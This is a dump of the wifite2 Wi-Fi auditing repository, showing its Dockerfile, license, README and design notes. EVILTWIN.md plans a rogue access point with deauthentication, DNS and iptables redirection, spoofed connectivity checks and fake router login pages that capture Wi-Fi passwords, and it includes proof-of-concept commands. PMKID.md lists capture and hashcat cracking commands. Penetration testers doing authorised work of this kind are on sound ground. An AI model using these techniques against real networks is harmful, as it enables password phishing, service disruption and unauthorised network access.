Repository: derv82/wifite2 Branch: master Commit: e190794149f4 Files: 73 Total size: 366.7 KB Directory structure: gitextract_vobs948i/ ├── .gitignore ├── Dockerfile ├── EVILTWIN.md ├── LICENSE ├── MANIFEST.in ├── PMKID.md ├── README.md ├── TODO.md ├── Wifite.py ├── bin/ │ └── wifite ├── runtests.sh ├── setup.cfg ├── setup.py ├── tests/ │ ├── __init__.py │ ├── files/ │ │ ├── airmon.output │ │ ├── airodump-weird-ssids.csv │ │ ├── airodump.csv │ │ ├── contains_wps_network.cap │ │ ├── handshake_exists.cap │ │ ├── handshake_exists.cap.stripped.tshark │ │ ├── handshake_has_1234.cap │ │ ├── handshake_not_exists.cap │ │ ├── wep-crackable.ivs │ │ └── wep-uncrackable.ivs │ ├── test_Airmon.py │ ├── test_Airodump.py │ ├── test_Handshake.py │ └── test_Target.py ├── wifite/ │ ├── __init__.py │ ├── __main__.py │ ├── args.py │ ├── attack/ │ │ ├── __init__.py │ │ ├── all.py │ │ ├── pmkid.py │ │ ├── wep.py │ │ ├── wpa.py │ │ └── wps.py │ ├── config.py │ ├── model/ │ │ ├── __init__.py │ │ ├── attack.py │ │ ├── client.py │ │ ├── handshake.py │ │ ├── pmkid_result.py │ │ ├── result.py │ │ ├── target.py │ │ ├── wep_result.py │ │ ├── wpa_result.py │ │ └── wps_result.py │ ├── tools/ │ │ ├── __init__.py │ │ ├── aircrack.py │ │ ├── aireplay.py │ │ ├── airmon.py │ │ ├── airodump.py │ │ ├── bully.py │ │ ├── cowpatty.py │ │ ├── dependency.py │ │ ├── hashcat.py │ │ ├── ifconfig.py │ │ ├── iwconfig.py │ │ ├── john.py │ │ ├── macchanger.py │ │ ├── pyrit.py │ │ ├── reaver.py │ │ ├── tshark.py │ │ └── wash.py │ └── util/ │ ├── __init__.py │ ├── color.py │ ├── crack.py │ ├── input.py │ ├── process.py │ ├── scanner.py │ └── timer.py └── wordlist-top4800-probable.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.swp *.pyc py/hs/ hs/ *.bak .idea/ cracked.txt MANIFEST dist/ build/ files.txt ================================================ FILE: Dockerfile ================================================ FROM python:2.7.14-jessie ENV DEBIAN_FRONTEND noninteractive ENV HASHCAT_VERSION hashcat-3.6.0 # Install requirements RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list RUN apt-get update && apt-get upgrade -y RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y RUN apt-get build-dep aircrack-ng -y #Install Aircrack from Source RUN wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz RUN tar xzvf aircrack-ng-1.2-rc4.tar.gz WORKDIR /aircrack-ng-1.2-rc4/ RUN make RUN make install RUN airodump-ng-oui-update # Workdir / WORKDIR / # Install wps-pixie RUN git clone https://github.com/wiire/pixiewps WORKDIR /pixiewps/ RUN make RUN make install # Workdir / WORKDIR / # Install bully RUN git clone https://github.com/aanarchyy/bully WORKDIR /bully/src/ RUN make RUN make install # Workdir / WORKDIR / #Install and configure hashcat RUN mkdir hashcat && \ cd hashcat && \ wget https://hashcat.net/files_legacy/${HASHCAT_VERSION}.7z && \ 7zr e ${HASHCAT_VERSION}.7z #Add link for binary RUN ln -s /hashcat/hashcat-cli64.bin /usr/bin/hashcat # Install reaver RUN git clone https://github.com/gabrielrcouto/reaver-wps.git WORKDIR /reaver-wps/src/ RUN ./configure RUN make RUN make install # Workdir / WORKDIR / # Install cowpatty RUN git clone https://github.com/roobixx/cowpatty.git WORKDIR /cowpatty/ RUN make # Workdir / WORKDIR / # Install wifite RUN git clone https://github.com/derv82/wifite2.git WORKDIR /wifite2/ ENTRYPOINT ["/bin/bash"] ================================================ FILE: EVILTWIN.md ================================================ An idea from Sandman: Include "Evil Twin" attack in Wifite. This page tracks the requirements for such a feature. Evil Twin ========= [Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack. The attack requires multiple wireless cards: 1. Hosts the twin. 2. Deauthenticates clients. As clients connect to the Evil Twin, they are redirected to a fake router login page. Clients enter the password to the target AP. The Evil Twin then: 1. Captures the Wifi password, 2. Verifies Wifi password against the target AP, 3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP. 4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1. Below are all of the requirements/components that Wifite would need for this feature. DHCP ==== We need to auto-assign IP addresses to clients as they connect (via DHCP?). DNS Redirects ============= All DNS requests need to redirect to the webserver: 1. So we clients are encouraged to login. 2. So we can intercept health-checks by Apple/Google Rogue AP, Server IP Address, etc ================================ Probably a few ways to do this in Linux; should use the most reliable & supported method. Mainly we need to: 1. Spin up the Webserver on some port (8000) 2. Start the Rogue AP 3. Assign localhost on port 8000 to some subnet IP (192.168.1.254) 4. Start DNS-redirecting all hostnames to 192.168.1.254. 5. Start DHCP to auto-assign IPs to incoming clients. 6. Start deauthing clients of the real AP. I think steps 3-5 can be applied to a specific wireless card (interface). * TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc. * Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64) * Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) * Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77) * TODO: Should the Evil Twin spoof the real AP's hardware MAC address? * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)). ROGUE AP ======== Gleaned this info from: * ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack * ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity * ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py) HOSTAPD ------- * Starts access point. * Not included in Kali by-default. * Installable via `apt-get install hostapd`. * [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd) Config file format (e.g. `~/hostapd.conf`): ``` driver=nl80211 # 'nl80211' appears in all hostapd tutorials I've found. ssid=$EVIL_SSID # SSID/name of Evil Twin (should match target's) hw_mode=$BAND # Wifi Band, e.g. "g" or "g+n" channel=$CHANNEL # Numeric, e.g. "6' ``` Run: ``` hostapd ~/hostapd.conf -i wlan0 ``` DNSMASQ ------- * Included in Kali. * Installable via `apt-get install dnsmasq` * Handles DNS and DHCP. * [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html) Config file format (e.g. `~/dnsmasq.conf`): ``` interface=wlan0 dhcp-range=10.0.0.10,10.0.0.250,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 #no-resolv server=8.8.8.8 log-queries log-dhcp # Redirect all requests (# is wildcard) to IP of evil web server: # TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports... #address=/#/192.168.1.254 ``` "DNS Entries" file format (`~/dns_entries`): ``` [DNS Name] [IP Address] # TODO: Are wildcards are supported? * 192.168.1.254 # IP of web server ``` Run: ``` dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries ``` IPTABLES -------- From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263) > *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi* > `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80` And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300) > *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:* > `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80` > `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80` TODO: * What about HTTPS traffic (port 443)? * We want to avoid browser warnings (scary in Chrome & Firefox). * Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue. * sslstrip may get around this... DEAUTHING ========= While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin. Listening --------- We need to listen for more clients and automatically start deauthing new clients as they appear. This might be supported by existing tools... MDK --- Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`. I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both. TODO: Require MDK if it is miles-ahead of `aireplay-ng` TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs. Website ======= Router Login Pages ------------------ These are different for every vendor. Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages. We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors. We also need a "generic" login page in case we don't have the page for a vendor. 1. Web server to host HTML, images, fonts, and CSS that the vendor uses. 3. Javascript to send the password to the webserver Language Support ---------------- Note: Users should choose the language to host; they know better than any script detection. Each router page will have a warning message telling the client they need to enter the Wifi password: * "Password is required after a router firmware update" The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else. Then only the warning message needs to be templatized by-language (we only need one sentence per language). That would avoid the need for separate "sites" for each Vendor *and* language. But we probably need other labels to be translated as well: * Title of page ("Router Login Page") * "Password:" * "Re-enter Password:" * "Reconnect" or "Login" ...So 5 sentences per language. Not bad. The web server could send a Javascript file containing the language variable values: ```javascript document.title = 'Router Login'; document.querySelector('#warn').textContent('You need to login after router firmware upgrade.'); document.querySelector('#pass').textContent('Password:'); // ... ``` One HTML File ------------- We can compact everything into a single HTML file: 1. Inline CSS 2. Inline images (base64 image/jpg) 3. Some placeholders for the warning message, password label, login button. This would avoid the "lots of folders" problem; one folder for all .html files. E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`. AJAX Password Submission ------------------------ The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`). Easy to do in Javascript (via a simple `
` or even `XMLHttpRequest`). Webserver ========= The websites served by the webserver is dynamic and depends on numerous variables. We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track. Spoofing Health Checks ---------------------- Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage. We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online". Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*). Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698). Requirements: * Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc). TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices. HTTPS ----- What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP? Spoofing Router Login Pages --------------------------- We can detect the router vendor based on the MAC address. If we have a fake login page for that vendor, we serve that. Otherwise we serve a generic login page. TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`? Password Capture ---------------- Webserver needs to know when a client enters a password. This can be accomplished via a simple CGI endpoint or Python script. E.g. `login.cgi` which reads `password1` and `password2` from the query string. Password Validation ------------------- The Webserver needs to know when the password is valid. This requires connecting to the target AP on an unused wireless card: 1. First card is hosting the webserver. It would be awkward if that went down. 2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP. 3. ...A third wifi card may make this cleaner. TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like. TODO: Choose the fastest & most-relaiable method for verifying wifi paswords Evil Webserver & Deauth Communication ------------------------------------- The access point hosting the Evil Twin needs to communicate with the Deauth mechanism: 1. Which BSSIDs to point to the Evil Twin, 2. Which BSSIDs to point to the real AP. Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver. So the webserver would need to maintain: 1. List of BSSIDs to deauth from real AP (so they join Evil Twin), 2. List of BSSIDs to deauth from Evil Twin (so they join real AP), 3. Background process which is deauthing the above BSSIDs on a separate wireless card. I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password"). TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads. TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?) Success & Cleanup ----------------- When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message). During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP. This deauthing should continue until all clients are deauthenticated from the Evil Twin. Then the script can be stopped. Proof of Concept ================ Start AP and capture all port-80 traffic: ``` ifconfig wlan0 10.0.0.1/24 up # start dnsmasq for dhcp & dns resolution (runs in background) killall dnsmasq dnsmasq -C dnsmasq.conf # reroute all port-80 traffic to our machine iptables -N internet -t mangle iptables -t mangle -A PREROUTING -j internet iptables -t mangle -A internet -j MARK --set-mark 99 iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1 echo "1" > /proc/sys/net/ipv4/ip_forward iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A FORWARD -m mark --mark 99 -j REJECT iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # start wifi access point (new terminal) killall hostapd hostapd ./hostapd.conf -i wlan0 # start webserver on port 80 (new terminal) python -m SimpleHTTPServer 80 ``` Cleanup: ``` # stop processes # ctrl+c hostapd # ctrl+c python simple http server killall dnsmasq # reset iptables iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X ``` ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {description} Copyright (C) {year} {fullname} This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. {signature of Ty Coon}, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. ================================================ FILE: MANIFEST.in ================================================ include README.md include wordlist-top4800-probable.txt ================================================ FILE: PMKID.md ================================================ ### PMKID Attack See https://hashcat.net/forum/thread-7717.html ### Steps 1. Start `hcxdumptool` (daemon) * `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1` * Should also use `-c `, `--filterlist` and `--filtermode` to target a specific client * Could be a new attack type: `wifite.attack.pmkid` 2. Detect when PMKID is found. * `hcxpcaptool -z pmkid.16800 pmkid.pcapng` * Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex). 3. Save `.16800` file (to `./hs/`? or `./pmkids/`?) * New result type: `pmkid_result` * Add entry to `cracked.txt` 4. Run crack attack using hashcat: * `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt` ### Problems * Requires latest hashcat to be installed. This might be in a different directory. * Use can specify path to hashcat? Yeck... * % hashcat -h | grep 16800 * 16800 | WPA-PMKID-PBKDF2 * If target can't be attacked... we need to detect this failure mode. * Might need to scrape `hcxdumptool`'s output * Look at `pmkids()` func in .bashrc * hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null * Check OUTPUT.16800 for the ESSID. * Wireless adapter support is minimal, apparently. * hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily ================================================ FILE: README.md ================================================ Wifite ====== This repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Wifite is designed to use all known methods for retrieving the password of a wireless access point (router). These methods include: 1. WPS: The [Offline Pixie-Dust attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack) 1. WPS: The [Online Brute-Force PIN attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Online_brute-force_attack) 2. WPA: The [WPA Handshake Capture](https://hashcat.net/forum/thread-7717.html) + offline crack. 3. WPA: The [PMKID Hash Capture](https://hashcat.net/forum/thread-7717.html) + offline crack. 4. WEP: Various known attacks against WEP, including *fragmentation*, *chop-chop*, *aireplay*, etc. Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password. Supported Operating Systems --------------------------- Wifite is designed specifically for the latest version of [**Kali** Linux](https://www.kali.org/). [ParrotSec](https://www.parrotsec.org/) is also supported. Other pen-testing distributions (such as BackBox or Ubuntu) have outdated versions of the tools used by Wifite. Do not expect support unless you are using the latest versions of the *Required Tools*, and also [patched wireless drivers that support injection](). Required Tools -------------- First and foremost, you will need a wireless card capable of "Monitor Mode" and packet injection (see [this tutorial for checking if your wireless card is compatible](http://www.aircrack-ng.org/doku.php?id=compatible_cards) and also [this guide](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)). There are many cheap wireless cards that plug into USB available from online stores. Second, only the latest versions of these programs are supported and must be installed for Wifite to work properly: **Required:** * `python`: Wifite is compatible with both `python2` and `python3`. * [`iwconfig`](https://wiki.debian.org/iwconfig): For identifying wireless devices already in Monitor Mode. * [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig): For starting/stopping wireless devices. * [`Aircrack-ng`](http://aircrack-ng.org/) suite, includes: * [`airmon-ng`](https://tools.kali.org/wireless-attacks/airmon-ng): For enumerating and enabling Monitor Mode on wireless devices. * [`aircrack-ng`](https://tools.kali.org/wireless-attacks/aircrack-ng): For cracking WEP .cap files and WPA handshake captures. * [`aireplay-ng`](https://tools.kali.org/wireless-attacks/aireplay-ng): For deauthing access points, replaying capture files, various WEP attacks. * [`airodump-ng`](https://tools.kali.org/wireless-attacks/airodump-ng): For target scanning & capture file generation. * [`packetforge-ng`](https://tools.kali.org/wireless-attacks/packetforge-ng): For forging capture files. **Optional, but Recommended:** * [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html): For detecting WPS networks and inspecting handshake capture files. * [`reaver`](https://github.com/t6x/reaver-wps-fork-t6x): For WPS Pixie-Dust & brute-force attacks. * Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found. * [`bully`](https://github.com/aanarchyy/bully): For WPS Pixie-Dust & brute-force attacks. * Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver. * Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN. * [`coWPAtty`](https://tools.kali.org/wireless-attacks/cowpatty): For detecting handshake captures. * [`pyrit`](https://github.com/JPaulMora/Pyrit): For detecting handshake captures. * [`hashcat`](https://hashcat.net/): For cracking PMKID hashes. * 